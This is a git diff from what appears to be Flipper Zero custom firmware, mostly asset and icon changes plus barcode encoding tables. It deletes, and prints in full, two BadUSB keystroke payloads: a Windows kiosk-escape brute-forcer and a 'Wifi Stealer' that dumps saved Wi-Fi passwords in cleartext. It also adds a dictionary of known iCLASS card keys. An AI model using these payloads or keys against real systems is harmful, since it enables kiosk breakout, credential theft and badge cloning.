b/assets/dolphin/internal/thank_you_128x64/frame_9.png deleted file mode 100644 index 70715bf5f..000000000 Binary files a/assets/dolphin/internal/thank_you_128x64/frame_9.png and /dev/null differ diff --git a/assets/dolphin/internal/thank_you_128x64/meta.txt b/assets/dolphin/internal/thank_you_128x64/meta.txt index 6a104b3dc..db8407dac 100644 --- a/assets/dolphin/internal/thank_you_128x64/meta.txt +++ b/assets/dolphin/internal/thank_you_128x64/meta.txt @@ -3,12 +3,12 @@ Version: 1 Width: 128 Height: 64 -Passive frames: 10 +Passive frames: 6 Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 +Frames order: 0 1 2 3 4 5 Active cycles: 0 Frame rate: 1 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/icons/ControlCenter/CC_Bluetooth_16x16.png b/assets/icons/ControlCenter/CC_Bluetooth_16x16.png new file mode 100644 index 000000000..67d642d47 Binary files /dev/null and b/assets/icons/ControlCenter/CC_Bluetooth_16x16.png differ diff --git a/assets/icons/ControlCenter/CC_DarkMode_16x16.png b/assets/icons/ControlCenter/CC_DarkMode_16x16.png new file mode 100644 index 000000000..c2b7390a9 Binary files /dev/null and b/assets/icons/ControlCenter/CC_DarkMode_16x16.png differ diff --git a/assets/icons/ControlCenter/CC_LefthandedMode_16x16.png b/assets/icons/ControlCenter/CC_LefthandedMode_16x16.png new file mode 100644 index 000000000..1f8b4ca48 Binary files /dev/null and b/assets/icons/ControlCenter/CC_LefthandedMode_16x16.png differ diff --git a/assets/icons/ControlCenter/CC_Lock_16x16.png b/assets/icons/ControlCenter/CC_Lock_16x16.png new file mode 100644 index 000000000..13d5efcad Binary files /dev/null and b/assets/icons/ControlCenter/CC_Lock_16x16.png differ diff --git a/assets/icons/ControlCenter/CC_Settings_16x16.png b/assets/icons/ControlCenter/CC_Settings_16x16.png new file mode 100644 index 000000000..defc2e41d Binary files /dev/null and b/assets/icons/ControlCenter/CC_Settings_16x16.png differ diff --git a/assets/icons/ControlCenter/CC_Xtreme_16x16.png b/assets/icons/ControlCenter/CC_Xtreme_16x16.png new file mode 100644 index 000000000..86dcb358c Binary files /dev/null and b/assets/icons/ControlCenter/CC_Xtreme_16x16.png differ diff --git a/assets/icons/Interface/DoorLeft_70x55.png b/assets/icons/Interface/DoorLeft_70x55.png deleted file mode 100644 index 5df87ba3c..000000000 Binary files a/assets/icons/Interface/DoorLeft_70x55.png and /dev/null differ diff --git a/assets/icons/Interface/DoorRight_70x55.png b/assets/icons/Interface/DoorRight_70x55.png deleted file mode 100644 index 0cc1e65e6..000000000 Binary files a/assets/icons/Interface/DoorRight_70x55.png and /dev/null differ diff --git a/assets/icons/Interface/Lockscreen.png b/assets/icons/Interface/Lockscreen.png new file mode 100644 index 000000000..c9aa8bcd7 Binary files /dev/null and b/assets/icons/Interface/Lockscreen.png differ diff --git a/assets/icons/Interface/WarningDolphin_45x42.png b/assets/icons/Interface/WarningDolphin_45x42.png index db225de36..d766ffbb4 100644 Binary files a/assets/icons/Interface/WarningDolphin_45x42.png and b/assets/icons/Interface/WarningDolphin_45x42.png differ diff --git a/assets/icons/MainMenu/Clock_14/frame_01.png b/assets/icons/MainMenu/Clock_14/frame_01.png deleted file mode 100644 index 80193281a..000000000 Binary files a/assets/icons/MainMenu/Clock_14/frame_01.png and /dev/null differ diff --git a/assets/icons/MainMenu/Clock_14/frame_02.png b/assets/icons/MainMenu/Clock_14/frame_02.png deleted file mode 100644 index 7eb0f8bef..000000000 Binary files a/assets/icons/MainMenu/Clock_14/frame_02.png and /dev/null differ diff --git a/assets/icons/MainMenu/Clock_14/frame_03.png b/assets/icons/MainMenu/Clock_14/frame_03.png deleted file mode 100644 index 5d4e6243b..000000000 Binary files a/assets/icons/MainMenu/Clock_14/frame_03.png and /dev/null differ diff --git a/assets/icons/MainMenu/Clock_14/frame_04.png b/assets/icons/MainMenu/Clock_14/frame_04.png deleted file mode 100644 index 8578a5a73..000000000 Binary files a/assets/icons/MainMenu/Clock_14/frame_04.png and /dev/null differ diff --git a/assets/icons/MainMenu/Clock_14/frame_05.png b/assets/icons/MainMenu/Clock_14/frame_05.png deleted file mode 100644 index 9c50fe469..000000000 Binary files a/assets/icons/MainMenu/Clock_14/frame_05.png and /dev/null differ diff --git a/assets/icons/MainMenu/Clock_14/frame_06.png b/assets/icons/MainMenu/Clock_14/frame_06.png deleted file mode 100644 index 4fe0f2c63..000000000 Binary files a/assets/icons/MainMenu/Clock_14/frame_06.png and /dev/null differ diff --git a/assets/icons/MainMenu/Clock_14/frame_07.png b/assets/icons/MainMenu/Clock_14/frame_07.png deleted file mode 100644 index 8ff61ba2e..000000000 Binary files a/assets/icons/MainMenu/Clock_14/frame_07.png and /dev/null differ diff --git a/assets/icons/MainMenu/Clock_14/frame_08.png b/assets/icons/MainMenu/Clock_14/frame_08.png deleted file mode 100644 index baffdaa70..000000000 Binary files a/assets/icons/MainMenu/Clock_14/frame_08.png and /dev/null differ diff --git a/assets/icons/MainMenu/Debug_14/frame_rate b/assets/icons/MainMenu/Debug_14/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/assets/icons/MainMenu/Debug_14/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/assets/icons/MainMenu/FileManager_14/frame_01.png b/assets/icons/MainMenu/FileManager_14/frame_01.png deleted file mode 100644 index 3403ec8a6..000000000 Binary files a/assets/icons/MainMenu/FileManager_14/frame_01.png and /dev/null differ diff --git a/assets/icons/MainMenu/FileManager_14/frame_02.png b/assets/icons/MainMenu/FileManager_14/frame_02.png deleted file mode 100644 index 53cbfc541..000000000 Binary files a/assets/icons/MainMenu/FileManager_14/frame_02.png and /dev/null differ diff --git a/assets/icons/MainMenu/FileManager_14/frame_03.png b/assets/icons/MainMenu/FileManager_14/frame_03.png deleted file mode 100644 index af4313708..000000000 Binary files a/assets/icons/MainMenu/FileManager_14/frame_03.png and /dev/null differ diff --git a/assets/icons/MainMenu/FileManager_14/frame_04.png b/assets/icons/MainMenu/FileManager_14/frame_04.png deleted file mode 100644 index edeed16d5..000000000 Binary files a/assets/icons/MainMenu/FileManager_14/frame_04.png and /dev/null differ diff --git a/assets/icons/MainMenu/FileManager_14/frame_05.png b/assets/icons/MainMenu/FileManager_14/frame_05.png deleted file mode 100644 index 71e4f76a0..000000000 Binary files a/assets/icons/MainMenu/FileManager_14/frame_05.png and /dev/null differ diff --git a/assets/icons/MainMenu/FileManager_14/frame_06.png b/assets/icons/MainMenu/FileManager_14/frame_06.png deleted file mode 100644 index fd5e95020..000000000 Binary files a/assets/icons/MainMenu/FileManager_14/frame_06.png and /dev/null differ diff --git a/assets/icons/MainMenu/FileManager_14/frame_07.png b/assets/icons/MainMenu/FileManager_14/frame_07.png deleted file mode 100644 index 71e4f76a0..000000000 Binary files a/assets/icons/MainMenu/FileManager_14/frame_07.png and /dev/null differ diff --git a/assets/icons/MainMenu/FileManager_14/frame_08.png b/assets/icons/MainMenu/FileManager_14/frame_08.png deleted file mode 100644 index edeed16d5..000000000 Binary files a/assets/icons/MainMenu/FileManager_14/frame_08.png and /dev/null differ diff --git a/assets/icons/MainMenu/FileManager_14/frame_09.png b/assets/icons/MainMenu/FileManager_14/frame_09.png deleted file mode 100644 index af4313708..000000000 Binary files a/assets/icons/MainMenu/FileManager_14/frame_09.png and /dev/null differ diff --git a/assets/icons/MainMenu/FileManager_14/frame_10.png b/assets/icons/MainMenu/FileManager_14/frame_10.png deleted file mode 100644 index 53cbfc541..000000000 Binary files a/assets/icons/MainMenu/FileManager_14/frame_10.png and /dev/null differ diff --git a/assets/icons/MainMenu/FileManager_14/frame_rate b/assets/icons/MainMenu/FileManager_14/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/assets/icons/MainMenu/FileManager_14/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_0.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_0.png deleted file mode 100644 index 166d2229b..000000000 Binary files a/assets/icons/MainMenu/SubGHzRemote_14/frame_0.png and /dev/null differ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_1.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_1.png deleted file mode 100644 index 8bd337c69..000000000 Binary files a/assets/icons/MainMenu/SubGHzRemote_14/frame_1.png and /dev/null differ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_2.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_2.png deleted file mode 100644 index 10727049d..000000000 Binary files a/assets/icons/MainMenu/SubGHzRemote_14/frame_2.png and /dev/null differ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_3.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_3.png deleted file mode 100644 index c6d314d86..000000000 Binary files a/assets/icons/MainMenu/SubGHzRemote_14/frame_3.png and /dev/null differ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_4.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_4.png deleted file mode 100644 index 13f4bf553..000000000 Binary files a/assets/icons/MainMenu/SubGHzRemote_14/frame_4.png and /dev/null differ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_5.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_5.png deleted file mode 100644 index c6d314d86..000000000 Binary files a/assets/icons/MainMenu/SubGHzRemote_14/frame_5.png and /dev/null differ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_6.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_6.png deleted file mode 100644 index 10727049d..000000000 Binary files a/assets/icons/MainMenu/SubGHzRemote_14/frame_6.png and /dev/null differ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_7.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_7.png deleted file mode 100644 index 8bd337c69..000000000 Binary files a/assets/icons/MainMenu/SubGHzRemote_14/frame_7.png and /dev/null differ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_rate b/assets/icons/MainMenu/SubGHzRemote_14/frame_rate deleted file mode 100644 index bf0d87ab1..000000000 --- a/assets/icons/MainMenu/SubGHzRemote_14/frame_rate +++ /dev/null @@ -1 +0,0 @@ -4 \ No newline at end of file diff --git a/assets/protobuf b/assets/protobuf index 646066023..1f6b4a08c 160000 --- a/assets/protobuf +++ b/assets/protobuf @@ -1 +1 @@ -Subproject commit 6460660237005d02d5c223835659b40e373bade9 +Subproject commit 1f6b4a08c5d05c2b17926a3ba79f60109638932f diff --git a/assets/resources/apps_data/barcode_data/code128_encodings.txt b/assets/resources/apps_data/barcode_data/code128_encodings.txt new file mode 100644 index 000000000..394a34520 --- /dev/null +++ b/assets/resources/apps_data/barcode_data/code128_encodings.txt @@ -0,0 +1,202 @@ + : 00 +!: 01 +": 02 +#: 03 +$: 04 +%: 05 +&: 06 +': 07 +(: 08 +): 09 +*: 10 ++: 11 +,: 12 +-: 13 +.: 14 +/: 15 +0: 16 +1: 17 +2: 18 +3: 19 +4: 20 +5: 21 +6: 22 +7: 23 +8: 24 +9: 25 +:: 26 +;: 27 +<: 28 +=: 29 +>: 30 +?: 31 +@: 32 +A: 33 +B: 34 +C: 35 +D: 36 +E: 37 +F: 38 +G: 39 +H: 40 +I: 41 +J: 42 +K: 43 +L: 44 +M: 45 +N: 46 +O: 47 +P: 48 +Q: 49 +R: 50 +S: 51 +T: 52 +U: 53 +V: 54 +W: 55 +X: 56 +Y: 57 +Z: 58 +[: 59 +\: 60 +]: 61 +^: 62 +_: 63 +`: 64 +a: 65 +b: 66 +c: 67 +d: 68 +e: 69 +f: 70 +g: 71 +h: 72 +i: 73 +j: 74 +k: 75 +l: 76 +m: 77 +n: 78 +o: 79 +p: 80 +q: 81 +r: 82 +s: 83 +t: 84 +u: 85 +v: 86 +w: 87 +x: 88 +y: 89 +z: 90 +{: 91 +|: 92 +}: 93 +~: 94 + +00: 11011001100 +01: 11001101100 +02: 11001100110 +03: 10010011000 +04: 10010001100 +05: 10001001100 +06: 10011001000 +07: 10011000100 +08: 10001100100 +09: 11001001000 +10: 11001000100 +11: 11000100100 +12: 10110011100 +13: 10011011100 +14: 10011001110 +15: 10111001100 +16: 10011101100 +17: 10011100110 +18: 11001110010 +19: 11001011100 +20: 11001001110 +21: 11011100100 +22: 11001110100 +23: 11101101110 +24: 11101001100 +25: 11100101100 +26: 11100100110 +27: 11101100100 +28: 11100110100 +29: 11100110010 +30: 11011011000 +31: 11011000110 +32: 11000110110 +33: 10100011000 +34: 10001011000 +35: 10001000110 +36: 10110001000 +37: 10001101000 +38: 10001100010 +39: 11010001000 +40: 11000101000 +41: 11000100010 +42: 10110111000 +43: 10110001110 +44: 10001101110 +45: 10111011000 +46: 10111000110 +47: 10001110110 +48: 11101110110 +49: 11010001110 +50: 11000101110 +51: 11011101000 +52: 11011100010 +53: 11011101110 +54: 11101011000 +55: 11101000110 +56: 11100010110 +57: 11101101000 +58: 11101100010 +59: 11100011010 +60: 11101111010 +61: 11001000010 +62: 11110001010 +63: 10100110000 +64: 10100001100 +65: 10010110000 +66: 10010000110 +67: 10000101100 +68: 10000100110 +69: 10110010000 +70: 10110000100 +71: 10011010000 +72: 10011000010 +73: 10000110100 +74: 10000110010 +75: 11000010010 +76: 11001010000 +77: 11110111010 +78: 11000010100 +79: 10001111010 +80: 10100111100 +81: 10010111100 +82: 10010011110 +83: 10111100100 +84: 10011110100 +85: 10011110010 +86: 11110100100 +87: 11110010100 +88: 11110010010 +89: 11011011110 +90: 11011110110 +91: 11110110110 +92: 10101111000 +93: 10100011110 +94: 10001011110 +95: 10111101000 +96: 10111100010 +97: 11110101000 +98: 11110100010 +99: 10111011110 +100: 10111101110 +101: 11101011110 +102: 11110101110 +103: 11010000100 +104: 11010010000 +105: 11010011100 \ No newline at end of file diff --git a/assets/resources/apps_data/barcode_data/code39_encodings.txt b/assets/resources/apps_data/barcode_data/code39_encodings.txt new file mode 100644 index 000000000..a41ad16e9 --- /dev/null +++ b/assets/resources/apps_data/barcode_data/code39_encodings.txt @@ -0,0 +1,44 @@ +0: 000110100 +1: 100100001 +2: 001100001 +3: 101100000 +4: 000110001 +5: 100110000 +6: 001110000 +7: 000100101 +8: 100100100 +9: 001100100 +A: 100001001 +B: 001001001 +C: 101001000 +D: 000011001 +E: 100011000 +F: 001011000 +G: 000001101 +H: 100001100 +I: 001001100 +J: 000011100 +K: 100000011 +L: 001000011 +M: 101000010 +N: 000010011 +O: 100010010 +P: 001010010 +Q: 000000111 +R: 100000110 +S: 001000110 +T: 000010110 +U: 110000001 +V: 011000001 +W: 111000000 +X: 010010001 +Y: 110010000 +Z: 011010000 +-: 010000101 +.: 110000100 + : 011000100 +*: 010010100 +$: 010101000 +/: 010100010 ++: 010001010 +%: 000101010 \ No newline at end of file diff --git a/assets/resources/apps_data/picopass/assets/iclass_elite_dict.txt b/assets/resources/apps_data/picopass/assets/iclass_elite_dict.txt index 5da2a2fa8..d11892372 100644 --- a/assets/resources/apps_data/picopass/assets/iclass_elite_dict.txt +++ b/assets/resources/apps_data/picopass/assets/iclass_elite_dict.txt @@ -1,16 +1,10 @@ ## From https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/iclass_default_keys.dic -# AA1 -AEA684A6DAB23278 # key1/Kc from PicoPass 2k documentation 7665544332211000 # SAGEM 0123456789ABCDEF -# from loclass demo file. -5b7c62c491c11b39 -# Kd from PicoPass 2k documentation -F0E1D2C3B4A59687 # PicoPass Default Exchange Key 5CBCF1DA45D5FB4F # From HID multiclassSE reader @@ -19,12 +13,6 @@ F0E1D2C3B4A59687 6EFD46EFCBB3C875 E033CA419AEE43F9 -# iCopy-x DRM keys -# iCL tags -2020666666668888 -# iCS tags reversed from the SOs -6666202066668888 - # default picopass KD / Page 0 / Book 1 FDCB5A52EA8F3090 237FF9079863DF44 diff --git a/assets/resources/apps_data/picopass/assets/iclass_standard_dict.txt b/assets/resources/apps_data/picopass/assets/iclass_standard_dict.txt new file mode 100644 index 000000000..46808ef60 --- /dev/null +++ b/assets/resources/apps_data/picopass/assets/iclass_standard_dict.txt @@ -0,0 +1,47 @@ + +## From https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/iclass_default_keys.dic + +# AA1 +AEA684A6DAB23278 +# key1/Kc from PicoPass 2k documentation +7665544332211000 +# SAGEM +0123456789ABCDEF +# from loclass demo file. +5b7c62c491c11b39 +# Kd from PicoPass 2k documentation +F0E1D2C3B4A59687 +# PicoPass Default Exchange Key +5CBCF1DA45D5FB4F +# From HID multiclassSE reader +31ad7ebd2f282168 +# From pastebin: https://pastebin.com/uHqpjiuU +6EFD46EFCBB3C875 +E033CA419AEE43F9 + +# iCopy-x DRM keys +# iCL tags +2020666666668888 +# iCS tags reversed from the SOs +6666202066668888 + +# default picopass KD / Page 0 / Book 1 +FDCB5A52EA8F3090 +237FF9079863DF44 +5ADC25FB27181D32 +83B881F2936B2E49 +43644E61EE866BA5 +897034143D016080 +82D17B44C0122963 +4895CA7DE65E2025 +DADAD4C57BE271B7 +E41E9EDEF5719ABF +293D275EC3AF9C7F +C3C169251B8A70FB +F41DAF58B20C8B91 +28877A609EC0DD2B +66584C91EE80D5E5 +C1B74D7478053AE2 + +# default iCLASS RFIDeas +6B65797374726B72 diff --git a/assets/resources/badkb/Kiosk-Evasion-Bruteforce.txt b/assets/resources/badkb/Kiosk-Evasion-Bruteforce.txt deleted file mode 100644 index 5dc478a61..000000000 --- a/assets/resources/badkb/Kiosk-Evasion-Bruteforce.txt +++ /dev/null @@ -1,473 +0,0 @@ -REM KIOSK EVASION EXPERIEMENTAL PAYLOADS -REM Target: Windows -REM Stop this script when evasion is succeed -REM and run your true payload -REM optimised for Flipper Zero -REM Auth: @nocomp -REM Source: https://github.com/nocomp/Kiosk-evasion-BADUsb-Bruteforce -DELAY 2000 -ALT F4 -DELAY 700 -ALT SPACE -DELAY 700 -ALT TAB -DELAY 700 -CTRL B -DELAY 700 -CTRL ALT DEL -DELAY 700 -CTRL ESC -DELAY 700 -CTRL F4 -DELAY 700 -CTRL P -DELAY 700 -CTRL SHIFT ESC -DELAY 700 -CTRL TAB -DELAY 700 -CTRL GUI F -DELAY 700 -F1 -DELAY 500 -F3 -DELAY 500 -SHIFT -SHIFT -SHIFT -SHIFT -SHIFT -DELAY 700 -GUI BREAK -DELAY 500 -GUI d -DELAY 700 -GUI e -DELAY 700 -GUI F1 -DELAY 700 -GUI r -DELAY 700 -GUI t -DELAY 700 -GUI u -DELAY 700 -GUI p -DELAY 700 -GUI c -DELAY 700 -GUI v -DELAY 700 -GUI k -DELAY 700 -GUI a -DELAY 700 -GUI SPACEBAR -DELAY 700 -GUI a -DELAY 700 -GUI b -DELAY 700 -GUI c -DELAY 700 -GUI d -DELAY 700 -GUI e -DELAY 700 -GUI f -DELAY 700 -GUI g -DELAY 700 -GUI h -DELAY 700 -GUI i -DELAY 700 -GUI j -DELAY 700 -GUI k -DELAY 700 -GUI m -DELAY 700 -GUI n -DELAY 700 -GUI o -DELAY 700 -GUI p -DELAY 700 -GUI q -DELAY 700 -GUI r -DELAY 700 -GUI s -DELAY 700 -GUI t -DELAY 700 -GUI u -DELAY 700 -GUI v -DELAY 700 -GUI w -DELAY 700 -GUI x -DELAY 700 -GUI y -DELAY 700 -GUI z -DELAY 700 -CTRL a -DELAY 700 -CTRL b -DELAY 700 -CTRL c -DELAY 700 -CTRL d -DELAY 700 -CTRL e -DELAY 700 -CTRL f -DELAY 700 -CTRL g -DELAY 700 -CTRL h -DELAY 700 -CTRL i -DELAY 700 -CTRL j -DELAY 700 -CTRL k -DELAY 700 -CTRL l -DELAY 700 -CTRL m -DELAY 700 -CTRL n -DELAY 700 -CTRL o -DELAY 700 -CTRL p -DELAY 700 -CTRL q -DELAY 700 -CTRL r -DELAY 700 -CTRL s -DELAY 700 -CTRL t -DELAY 700 -CTRL u -DELAY 700 -CTRL v -DELAY 700 -CTRL w -DELAY 700 -CTRL x -DELAY 700 -CTRL y -DELAY 700 -CTRL z -DELAY 700 -REM TASK MANAGER -DELAY 500 -CTRL SHIFT ESC -DELAY 500 -REM HIDDEN ADMIN MENU -DELAY 500 -CTRL ALT F8 -DELAY 500 -CTRL ESC F9 -REM MOUSE KEYS -DELAY 500 -SHIFT ALT NUMLOCK -DELAY 500 -REM CONTEXT MENU -DELAY 500 -SHIFT F10 -DELAY 500 -F1 -DELAY 500 -GUI r -ALTSTRING shell:Administrative Tools -ENTER -DELAY 500 -GUI r -ALTSTRING shell:DocumentsLibrary -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:Libraries -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:UserProfiles -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:Personal -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:SearchHomeFolder -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:NetworkPlacesFolder -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:SendTo -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:UserProfiles -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:Common Administrative Tools -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:MyComputerFolder -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:InternetFolder -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Shell:Profile -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Shell:ProgramFiles -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Shell:System -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Shell:ControlPanelFolder -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Shell:Windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:::{21EC2020 3AEA 1069 A2DD 08002B30309D} -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:::{20D04FE0 3AEA 1069 A2D8 08002B30309D} -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:::{{208D2C60 3AEA 1069 A2D7 08002B30309D}} -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:::{871C5380 42A0 1069 A2EA 08002B30309D} -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING file:///C:/Kiosk/HTML/index.html -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING file:///C:/Users/KioskRestricted -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File:/C:/windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File:/C:\windows\ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File:/C:\windows/ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File:/C:/windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File://C:/windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File://C:\windows/ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING file://C:\windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING C:/windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING C:\windows\ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING C:\windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING C:/windows/ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING C:/windows\ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %WINDIR% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %TMP% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %TEMP% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %SYSTEMDRIVE% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %SYSTEMROOT% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %APPDATA% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %HOMEDRIVE% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %HOMESHARE% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Callto:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Gopher:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING DHCP:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Telnet:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING TN3270:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Rlogin:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING LDAP:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING News:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Mailto:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING MMS:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING SKYPE:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING SIP:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Play:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Steam:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Quicktime:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING smb:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING ftp:// diff --git a/assets/resources/badkb/Wifi-Stealer_ORG.txt b/assets/resources/badkb/Wifi-Stealer_ORG.txt deleted file mode 100644 index d6c0aeaca..000000000 --- a/assets/resources/badkb/Wifi-Stealer_ORG.txt +++ /dev/null @@ -1,13 +0,0 @@ -REM Title: Wifi Stealer -REM Author: 7h30th3r0n3 -REM Target: Tested on Windows 7/8/10/11 -REM Version: 1.0 -REM Category: Grabber -REM Extracts the SSID and wifi shared key and puts them in a txt file named 0.txt on the desktop -GUI r -DELAY 500 -STRING powershell -ENTER -DELAY 500 -STRING cd C:\Users\$env:UserName\Desktop; netsh wlan export profile key=clear; Select-String -Path WiFi-* -Pattern 'keyMaterial' | % { $_ -replace '', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > 0.txt; del WiFi-*;exit -ENTER diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_0.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_0.bm deleted file mode 100644 index 46079c372..000000000 Binary files a/assets/resources/dolphin/L1_Boxing_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_1.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_1.bm deleted file mode 100644 index e12d70796..000000000 Binary files a/assets/resources/dolphin/L1_Boxing_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_2.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_2.bm deleted file mode 100644 index b416740f2..000000000 Binary files a/assets/resources/dolphin/L1_Boxing_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_3.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_3.bm deleted file mode 100644 index b7e15ddee..000000000 Binary files a/assets/resources/dolphin/L1_Boxing_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_4.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_4.bm deleted file mode 100644 index 202ad6e37..000000000 Binary files a/assets/resources/dolphin/L1_Boxing_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_5.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_5.bm deleted file mode 100644 index cdc0a2a34..000000000 Binary files a/assets/resources/dolphin/L1_Boxing_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_6.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_6.bm deleted file mode 100644 index e8ea3aa68..000000000 Binary files a/assets/resources/dolphin/L1_Boxing_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Boxing_128x64/meta.txt b/assets/resources/dolphin/L1_Boxing_128x64/meta.txt deleted file mode 100644 index ec5127b8a..000000000 --- a/assets/resources/dolphin/L1_Boxing_128x64/meta.txt +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 9 -Active frames: 7 -Frames order: 0 1 2 1 3 1 2 3 1 4 5 6 5 6 5 4 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 2 - -Slot: 0 -X: 78 -Y: 16 -Text: F*&K!!! -AlignH: Left -AlignV: Bottom -StartFrame: 2 -EndFrame: 4 - -Slot: 1 -X: 78 -Y: 16 -Text: What ya\nlookin at?! -AlignH: Left -AlignV: Center -StartFrame: 10 -EndFrame: 15 diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_0.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_0.bm deleted file mode 100644 index 9147714c1..000000000 Binary files a/assets/resources/dolphin/L1_Cry_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_1.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_1.bm deleted file mode 100644 index 789273d9d..000000000 Binary files a/assets/resources/dolphin/L1_Cry_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_2.bm 